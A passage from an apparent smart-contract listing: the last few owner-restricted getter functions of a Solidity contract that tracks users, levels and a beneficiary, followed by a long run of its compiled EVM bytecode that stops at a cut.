function getMaxLevel() public view isOwner returns(uint) {
return(maxLevel);
}
function getAddressById(uint _id) public view returns(address payable) {
require((msg.sender == owner) || (msg.sender == beneficiary));
return(usersArray[_id]);
}
function getUidById(uint _id) public view returns(uint) {
require((msg.sender == owner) || (msg.sender == beneficiary));
return(users[usersArray[_id]].uid);
}
}
|
0x6080604052600436106102e45760003560e01c80639849cfb011610190578063c10d3c7e116100dc578063ea2c561b11610095578063f198d6281161006f578063f198d62814611081578063f1b9ee24146110e6578063f9201cc9146110fd578063f95afe2c14611128576102e4565b8063ea2c561b14610f7e578063ec9daa0314610fa9578063ef154eb114611006576102e4565b8063c10d3c7e14610d52578063d9f0dd5114610da5578063de15926114610dbc578063df692f1c14610e21578063e5128b8014610e5c578063e8dddc1214610e87576102e4565b8063a90a5bdf11610149578063b3e7993e11610123578063b3e7993e14610bf6578063b93f9b0a14610c47578063bdf9d77414610cc2578063bf749b6a14610ced576102e4565b8063a90a5bdf14610aff578063a940592314610b16578063adeaa5b614610ba7576102e4565b80639849cfb0146109a657806399a4d201146109d5578063a099877214610a10578063a230c52414610a1a578063a4a1e26314610a83578063a6f9dae114610aae576102e4565b8063565a2e2c1161024f578063741a35c411610208578063817c8966116101e2578063817c89661461080a5780638620612b1461086f578063893d20e8146108d45780638d80c9221461092b576102e4565b8063741a35c41461073d57806375298734146107c8578063760a8c2a146107f3576102e4565b8063565a2e2c146105a257806358c1a343146105f957806363b8817c14610603578063650cf03f146106685780636781c700146106ad5780636824131014610712576102e4565b8063209ab711116102a1578063209ab711146104215780632e1a7d4d146104655780633798fe56146104a0578063470707d6146104cb578063485cc955146105065780634a6b1ea714610577576102e4565b8063034b873b146102e957806310187f651461031457806312065fe01461033f578063190489711461036a5780631ba2f531146103a55780631c31f710146103d0575b600080fd5b3480156102f557600080fd5b506102fe611177565b6040518082815260200191505060405180910390f35b34801561032057600080fd5b50610329611187565b6040518082815260200191505060405180910390f35b34801561034b57600080fd5b506103546111eb565b6040518082815260200191505060405180910390f35b34801561037657600080fd5b506103a36004803603602081101561038d57600080fd5b810190808035906020019092919050505061124d565b005b3480156103b157600080fd5b506103ba6112d9565b6040518082815260200191505060405180910390f35b3480156103dc57600080fd5b5061041f600480360360208110156103f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e3565b005b6104636004803603602081101561043757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113dc565b005b34801561047157600080fd5b5061049e6004803603602081101561048857600080fd5b8101908080359060200190929190505050611499565b005b3480156104ac57600080fd5b506104b561155f565b6040518082815260200191505060405180910390f35b3480156104d757600080fd5b50610504600480360360208110156104ee57600080fd5b81019080803590602001909291905050506115c3565b005b34801561051257600080fd5b506105756004803603604081101561052957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165c565b005b34801561058357600080fd5b5061058c611853565b6040518082815260200191505060405180910390f35b3480156105ae57600080fd5b506105b7611871565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61060161189b565b005b34801561060f57600080fd5b506106526004803603602081101561062657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061199c565b6040518082815260200191505060405180910390f35b34801561067457600080fd5b506106ab6004803603604081101561068b57600080fd5b810190808035906020019092919080359060200190929190505050611a4d565b005b3480156106b957600080fd5b506106fc600480360360208110156106d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b88565b6040518082815260200191505060405180910390f35b34801561071e57600080fd5b50610727611f72565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b506107966004803603604081101561076057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061200a565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156107d457600080fd5b506107dd6121da565b6040518082815260200191505060405180910390f35b3480156107ff57600080fd5b506108086121e4565b005b34801561081657600080fd5b506108596004803603602081101561082d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122f8565b6040518082815260200191505060405180910390f35b34801561087b57600080fd5b506108be6004803603602081101561089257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612395565b6040518082815260200191505060405180910390f35b3480156108e057600080fd5b506108e96124bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093757600080fd5b506109646004803603602081101561094e57600080fd5b81019080803590602001909291905050506124e9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109b257600080fd5b506109bb6125dc565b604051808215151515815260200191505060405180910390f35b3480156109e157600080fd5b50610a0e600480360360208110156109f857600080fd5b81019080803590602001909291905050506125f3565b005b610a1861268c565b005b348015610a2657600080fd5b50610a6960048036036020811015610a3d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612851565b604051808215151515815260200191505060405180910390f35b348015610a8f57600080fd5b50610a9861289f565b6040518082815260200191505060405180910390f35b348015610aba57600080fd5b50610afd60048036036020811015610ad157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128ac565b005b348015610b0b57600080fd5b50610b146129a5565b005b348015610b2257600080fd5b50610b6560048036036020811015610b3957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e74565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bb357600080fd5b50610be060048036036020811015610bca57600080fd5b8101908080359060200190929190505050612f31565b6040518082815260200191505060405180910390f35b348015610c0257600080fd5b50610c4560048036036020811015610c1957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613066565b005b348015610c5357600080fd5b50610c8060048036036020811015610c6a57600080fd5b810190808035906020019092919050505061324f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cce57600080fd5b50610cd76132f8565b6040518082815260200191505060405180910390f35b348015610cf957600080fd5b50610d3c60048036036020811015610d1057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061335c565b6040518082815260200191505060405180910390f35b348015610d5e57600080fd5b50610d8b60048036036020811015610d7557600080fd5b81019080803590602001909291905050506133f6565b604051808215151515815260200191505060405180910390f35b348015610db157600080fd5b50610dba613462565b005b348015610dc857600080fd5b50610e0b60048036036020811015610ddf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613584565b6040518082815260200191505060405180910390f35b348015610e2d57600080fd5b50610e5a60048036036020811015610e4457600080fd5b81019080803590602001909291905050506137cb565b005b348015610e6857600080fd5b50610e71613852565b6040518082815260200191505060405180910390f35b348015610e9357600080fd5b50610ed660048036036020811015610eaa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061385f565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390f35b348015610f8a57600080fd5b50610f936139f4565b6040518082815260200191505060405180910390f35b348015610fb557600080fd5b50610fe260048036036020811015610fcc57600080fd5b81019080803590602001909291905050506139fe565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561101257600080fd5b5061103f6004803603602081101561102957600080fd5b8101908080359060200190929190505050613d04565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561108d57600080fd5b506110d0600480360360208110156110a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613dff565b6040518082815260200191505060405180910390f35b3480156110f257600080fd5b506110fb613e9c565b005b34801561110957600080fd5b50611112613f2d565b6040518082815260200191505060405180910390f35b34801561113457600080fd5b506111616004803603602081101561114b57600080fd5b8101908080359060200190929190505050613f37565b6040518082815260200191505060405180910390f35b60006111823361335c565b905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e357600080fd5b600a54905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124757600080fd5b47905090565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a757600080fd5b600860149054906101000a900460ff166112c057600080fd5b80600e5414156112cf57600080fd5b80600e8190555050565b6000600d54905090565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133d57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561139857600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860149054906101000a900460ff16156113f657600080fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701541461144557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561147f57600080fd5b61148881613f69565b905061149681600554614022565b50565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f357600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561155b573d6000803e3d6000fd5b5050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115bb57600080fd5b600c54905090565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161d57600080fd5b600860149054906101000a900460ff1661163657600080fd5b6000811161164357600080fd5b80600654141561165257600080fd5b8060068190555050565b600860149054906101000a900460ff1661167557600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061171e5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61172757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561176157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561179b57600080fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154116117ea57600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701541461183957600080fd5b611846828260055461408a565b61184f81614912565b5050565b600061186c600a54600954614bf890919063ffffffff16565b905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860149054906101000a900460ff16156118b557600080fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701541461190457600080fd5b600a546009541161191457600080fd5b6000809050611924600a54614c81565b600a819055506000339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061199981600654614022565b50565b6000816000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154116119ee57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600080815260200190815260200160002060020154915050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aa757600080fd5b600860149054906101000a900460ff16611ac057600080fd5b60008211611acd57600080fd5b6000611add600480549050614c95565b905080831115611b66576000611af282614c81565b90505b83811015611b3757600460009080600181540180825580915050600190039060005260206000200160009091909190915055611b3081614c81565b9050611af5565b506004829080600181540180825580915050600190039060005260206000200160009091909190915055611b83565b8160048481548110611b7457fe5b90600052602060002001819055505b505050565b6000816000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206007015411611bda57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c185760009150611f6c565b6000611c2384613584565b9050600073ffffffffffffffffffffffffffffffffffffffff16600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d3b57611d38611d29600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b88565b82614ca990919063ffffffff16565b90505b600073ffffffffffffffffffffffffffffffffffffffff16600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e5157611e4e611e3f600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b88565b82614ca990919063ffffffff16565b90505b600073ffffffffffffffffffffffffffffffffffffffff16600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f6757611f64611f55600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b88565b82614ca990919063ffffffff16565b90505b809250505b50919050565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206007015411611fc257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080154905090565b6000806000806000866000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701541161206257600080fd5b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006015487106120b057600080fd5b60006120bb8961335c565b90508781600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008b815260200190815260200160002060000154600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008c815260200190815260200160002060010154600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008d8152602001908152602001600020600201549650965096509650965050509295509295909350565b6000600554905090565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461223e57600080fd5b600860149054906101000a900460ff1661225757600080fd5b600060055411801561226b57506000600654115b61227457600080fd5b6000600e5490506000600190505b6004805490508110156122cb576122b96004828154811061229f57fe5b906000526020600020015483614ca990919063ffffffff16565b91506122c481614c81565b9050612282565b5060055481106122da57600080fd5b6000600860146101000a81548160ff02191690831515021790555050565b6000816000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701541161234a57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154915050919050565b6000816000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154116123e757600080fd5b600080600190505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601548110156124b4576124a2600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008381526020019081526020016000206002015483614ca990919063ffffffff16565b91506124ad81614c81565b90506123ef565b508092505050919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806125945750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61259d57600080fd5b600382815481106125aa57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600860149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461264d57600080fd5b600860149054906101000a900460ff1661266657600080fd5b6000811161267357600080fd5b80600554141561268257600080fd5b8060058190555050565b600860149054906101000a900460ff16156126a657600080fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154146126f557600080fd5b60006127376000808154811061270757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613f69565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015490506000600190505b6000805490508110156128405760006127d6600083815481106127a657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613f69565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015490508381101561282e578093508194505b505061283981614c81565b9050612787565b5061284d82600554614022565b5050565b600080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154119050919050565b6000600380549050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461290657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561296157600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146129ff57600080fd5b6000600d5411612a0e57600080fd5b6000600380549050600d5481612a2057fe5b04905060008090505b600380549050811015612e22576040518060600160405280600081526020016001600060038581548110612a5957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701548152602001838152506001600060038481548110612adc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160006001600060038681548110612b5757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601548152602001908152602001600020600082015181600001556020820151816001015560408201518160020155905050612c0482600d54614bf890919063ffffffff16565b600d81905550612c8c6001600060038481548110612c1e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060154614c81565b6001600060038481548110612c9d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060181905550612d95826001600060038581548110612d1e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080154614ca990919063ffffffff16565b6001600060038481548110612da657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080181905550612e1b81614c81565b9050612a29565b507fa22d213ffe6f073487b56004714de15d2d92b5e1e876e1116d5d70c767536057600d546003805490504260405180848152602001838152602001828152602001935050505060405180910390a150565b6000816000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206007015411612ec657600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612fdc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612fe557600080fd5b6001600060038481548110612ff657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701549050919050565b600860149054906101000a900460ff1661307f57600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806131285750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61313157600080fd5b600a546009541161314157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561317b57600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154146131ca57600080fd5b6131d5600a54614c81565b600a819055506000339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061324c60008260065461408a565b50565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156132bd57600080fd5b6002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461335457600080fd5b600954905090565b600080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154116133ac57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080154116134b157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801549081150290604051600060405180830381858888f19350505050158015613539573d6000803e3d6000fd5b506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080181905550565b6000816000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154116135d657600080fd5b6000809050600073ffffffffffffffffffffffffffffffffffffffff16600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461367d5761367a81614c81565b90505b600073ffffffffffffffffffffffffffffffffffffffff16600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461371f5761371c81614c81565b90505b600073ffffffffffffffffffffffffffffffffffffffff16600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146137c1576137be81614c81565b90505b8092505050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461382557600080fd5b60095481141561383457600080fd5b61383c611187565b81101561384857600080fd5b8060098190555050565b6000600480549050905090565b6000806000836000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154116138b457600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16829250819150809050935093509350509193909250565b6000600e54905090565b60008060008073ffffffffffffffffffffffffffffffffffffffff166002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613a6f57600080fd5b60016000600160006002600089815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701546001600060016000600260008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701546001600060016000600260008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701549250925092509193909250565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613daf5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b613db857600080fd5b6000613dc383614c95565b81548110613dcd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000816000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206007015411613e5157600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060154915050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ef657600080fd5b600860149054906101000a900460ff1615613f1057600080fd5b6001600860146101000a81548160ff021916908315150217905550565b6000600654905090565b60006004805490508210613f4a576